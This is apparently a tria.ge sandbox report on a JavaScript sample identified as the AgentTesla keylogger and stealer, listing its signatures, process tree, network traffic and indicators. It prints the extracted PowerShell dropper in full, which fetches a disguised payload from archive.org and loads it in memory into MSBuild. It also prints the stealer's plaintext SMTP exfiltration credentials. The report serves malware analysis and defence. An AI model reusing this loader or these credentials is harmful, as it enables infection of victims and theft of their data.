Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

20250120.js

windows7-x64

10

20250120.js

windows10-2004-x64

10

Analysis

  • max time kernel
    123s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2025, 06:23 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    20250120.js

  • Size

    155KB

  • MD5

    fe92c7ee393a2c87ccb3034c9ce18b14

  • SHA1

    8d2c9d5a5c985fb4feb466be1a4752d67042f4b7

  • SHA256

    85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72

  • SHA512

    1adc6de119ce2090ce0752ece5d23e84dfa77e7ebe4505f7b4c5ef206808962b623d527cc888f2028e585f83d7261c7aec4241b90912c2e070eea38791c99ad4

  • SSDEEP

    768:loXxTexWHGJUY61tqTo7RkIwZnBN09oavEug4zdv9PCX9p6FHs5+hAQCx8PkYWXb:QTr8tIInBNKduYM5lOPTWf67ZqGxiZA0

Score
10/10
agenttesladiscoveryexecutionkeyloggerspywarestealertrojan

Malware Config

Extracted

Language
ps1
Source
1
if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };
URLs
ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Extracted

Credentials

  • Protocol:     smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    biz@ctdi.com.ph
  • Password:
    A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

  • Protocol:     smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    biz@ctdi.com.ph
  • Password:
    A#f+Y]H8iO4a
  • Email To:
    ctdi.employees@ctdi.com.ph

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Agenttesla family
    agenttesla
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1052

Network

  • flag-us
    DNS
    ia600805.us.archive.org
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    ia600805.us.archive.org
    IN A
    Response
    ia600805.us.archive.org
    IN A
    207.241.227.155
  • flag-us
    GET
    https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg
    powershell.exe
    Remote address:
    207.241.227.155:443
    Request
    GET /10/items/new_image_202501/new_image.jpg HTTP/1.1
    Host: ia600805.us.archive.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.24.0
    Date: Mon, 20 Jan 2025 06:23:19 GMT
    Content-Type: image/jpeg
    Content-Length: 2759301
    Last-Modified: Tue, 14 Jan 2025 14:24:50 GMT
    Connection: keep-alive
    ETag: "678673b2-2a1a85"
    Strict-Transport-Security: max-age=15724800
    Expires: Mon, 20 Jan 2025 12:23:19 GMT
    Cache-Control: max-age=21600
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With
    Access-Control-Allow-Credentials: true
    Accept-Ranges: bytes
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    155.227.241.207.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    155.227.241.207.in-addr.arpa
    IN PTR
    Response
    155.227.241.207.in-addr.arpa
    IN PTR
    ia600805usarchiveorg
  • flag-us
    DNS
    133.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    244.160.67.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    244.160.67.23.in-addr.arpa
    IN PTR
    Response
    244.160.67.23.in-addr.arpa
    IN PTR
    a23-67-160-244deploystaticakamaitechnologiescom
  • flag-us
    DNS
    196.249.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    196.249.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    lindenappliances.co.za
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    lindenappliances.co.za
    IN A
    Response
    lindenappliances.co.za
    IN A
    102.219.84.131
  • flag-za
    GET
    https://lindenappliances.co.za/adanne.txt
    powershell.exe
    Remote address:
    102.219.84.131:443
    Request
    GET /adanne.txt HTTP/1.1
    Host: lindenappliances.co.za
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Mon, 20 Jan 2025 06:23:35 GMT
    Server: Apache
    Upgrade: h2,h2c
    Connection: Upgrade, Keep-Alive
    Last-Modified: Sun, 19 Jan 2025 20:43:13 GMT
    Accept-Ranges: bytes
    Content-Length: 327000
    Keep-Alive: timeout=5, max=100
    Content-Type: text/plain
  • flag-us
    DNS
    133.211.185.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.211.185.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    131.84.219.102.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    131.84.219.102.in-addr.arpa
    IN PTR
    Response
    131.84.219.102.in-addr.arpa
    IN PTR
    zacp110webwayhost
  • flag-us
    DNS
    ip-api.com
    MSBuild.exe
    Remote address:
    8.8.8.8:53
    Request
    ip-api.com
    IN A
    Response
    ip-api.com
    IN A
    208.95.112.1
  • flag-us
    GET
    http://ip-api.com/line/?fields=hosting
    MSBuild.exe
    Remote address:
    208.95.112.1:80
    Request
    GET /line/?fields=hosting HTTP/1.1
    Host: ip-api.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Mon, 20 Jan 2025 06:23:38 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 6
    Access-Control-Allow-Origin: *
    X-Ttl: 60
    X-Rl: 44
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
    Response
    1.112.95.208.in-addr.arpa
    IN PTR
    ip-apicom
  • flag-us
    DNS
    mail.ctdi.com.ph
    MSBuild.exe
    Remote address:
    8.8.8.8:53
    Request
    mail.ctdi.com.ph
    IN A
    Response
    mail.ctdi.com.ph
    IN CNAME
    ctdi.com.ph
    ctdi.com.ph
    IN A
    182.18.209.194
  • flag-us
    DNS
    mail.ctdi.com.ph
    MSBuild.exe
    Remote address:
    8.8.8.8:53
    Request
    mail.ctdi.com.ph
    IN A
    Response
    mail.ctdi.com.ph
    IN CNAME
    ctdi.com.ph
    ctdi.com.ph
    IN A
    182.18.209.194
  • flag-us
    DNS
    194.209.18.182.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    194.209.18.182.in-addr.arpa
    IN PTR
    Response
    194.209.18.182.in-addr.arpa
    IN PTR
    skyskybbph
  • flag-us
    DNS
    56.163.245.4.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    56.163.245.4.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    241.42.69.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.42.69.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    22.49.80.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.49.80.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    29.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    29.243.111.52.in-addr.arpa
    IN PTR
    Response
  • 207.241.227.155:443
    https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg
    tls, http
    powershell.exe
    62.5kB
     2.9MB
     1265
    2050

    HTTP Request

    GET https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg

    HTTP Response

    200
  • 102.219.84.131:443
    https://lindenappliances.co.za/adanne.txt
    tls, http
    powershell.exe
    6.3kB
     341.7kB
     129
    249

    HTTP Request

    GET https://lindenappliances.co.za/adanne.txt

    HTTP Response

    200
  • 208.95.112.1:80
    http://ip-api.com/line/?fields=hosting
    http
    MSBuild.exe
    356 B
     347 B
     6
    4

    HTTP Request

    GET http://ip-api.com/line/?fields=hosting

    HTTP Response

    200
  • 182.18.209.194:587
    mail.ctdi.com.ph
    smtp-submission
    MSBuild.exe
    2.1kB
     4.9kB
     20
    22
  • 8.8.8.8:53
    ia600805.us.archive.org
    dns
    powershell.exe
    69 B
     85 B
     1
    1

    DNS Request

    ia600805.us.archive.org

    DNS Response

    207.241.227.155

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

  • 8.8.8.8:53
    155.227.241.207.in-addr.arpa
    dns
    74 B
     111 B
     1
    1

    DNS Request

    155.227.241.207.in-addr.arpa

  • 8.8.8.8:53
    133.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    133.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    244.160.67.23.in-addr.arpa
    dns
    72 B
     137 B
     1
    1

    DNS Request

    244.160.67.23.in-addr.arpa

  • 8.8.8.8:53
    196.249.167.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    196.249.167.52.in-addr.arpa

  • 8.8.8.8:53
    lindenappliances.co.za
    dns
    powershell.exe
    68 B
     84 B
     1
    1

    DNS Request

    lindenappliances.co.za

    DNS Response

    102.219.84.131

  • 8.8.8.8:53
    133.211.185.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    133.211.185.52.in-addr.arpa

  • 8.8.8.8:53
    131.84.219.102.in-addr.arpa
    dns
    73 B
     106 B
     1
    1

    DNS Request

    131.84.219.102.in-addr.arpa

  • 8.8.8.8:53
    ip-api.com
    dns
    MSBuild.exe
    56 B
     72 B
     1
    1

    DNS Request

    ip-api.com

    DNS Response

    208.95.112.1

  • 8.8.8.8:53
    1.112.95.208.in-addr.arpa
    dns
    71 B
     95 B
     1
    1

    DNS Request

    1.112.95.208.in-addr.arpa

  • 8.8.8.8:53
    mail.ctdi.com.ph
    dns
    MSBuild.exe
    124 B
     184 B
     2
    2

    DNS Request

    mail.ctdi.com.ph

    DNS Request

    mail.ctdi.com.ph

    DNS Response

    182.18.209.194

    DNS Response

    182.18.209.194

  • 8.8.8.8:53
    194.209.18.182.in-addr.arpa
    dns
    73 B
     99 B
     1
    1

    DNS Request

    194.209.18.182.in-addr.arpa

  • 8.8.8.8:53
    56.163.245.4.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    56.163.245.4.in-addr.arpa

  • 8.8.8.8:53
    22.49.80.91.in-addr.arpa
    dns
    70 B
     145 B
     1
    1

    DNS Request

    22.49.80.91.in-addr.arpa

  • 8.8.8.8:53
    241.42.69.40.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    241.42.69.40.in-addr.arpa

  • 8.8.8.8:53
    29.243.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    29.243.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4r4vtsh.e4d.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/1052-19-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

    Download

  • memory/1052-28-0x0000000006BB0000-0x0000000006BBA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1052-27-0x0000000006BE0000-0x0000000006C72000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1052-26-0x00000000069A0000-0x0000000006A3C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1052-25-0x00000000068B0000-0x0000000006900000-memory.dmp

    Filesize

    320KB

    Download

  • memory/1052-24-0x0000000005470000-0x00000000054D6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1052-23-0x0000000005850000-0x0000000005DF4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/3420-13-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3420-18-0x0000023CA03C0000-0x0000023CA03CC000-memory.dmp

    Filesize

    48KB

    Download

  • memory/3420-17-0x0000023CF7D20000-0x0000023CF7EDA000-memory.dmp

    Filesize

    1.7MB

    Download

  • memory/3420-22-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3420-16-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3420-14-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3420-15-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3420-1-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3420-12-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3420-7-0x0000023CF6F60000-0x0000023CF6F82000-memory.dmp

    Filesize

    136KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.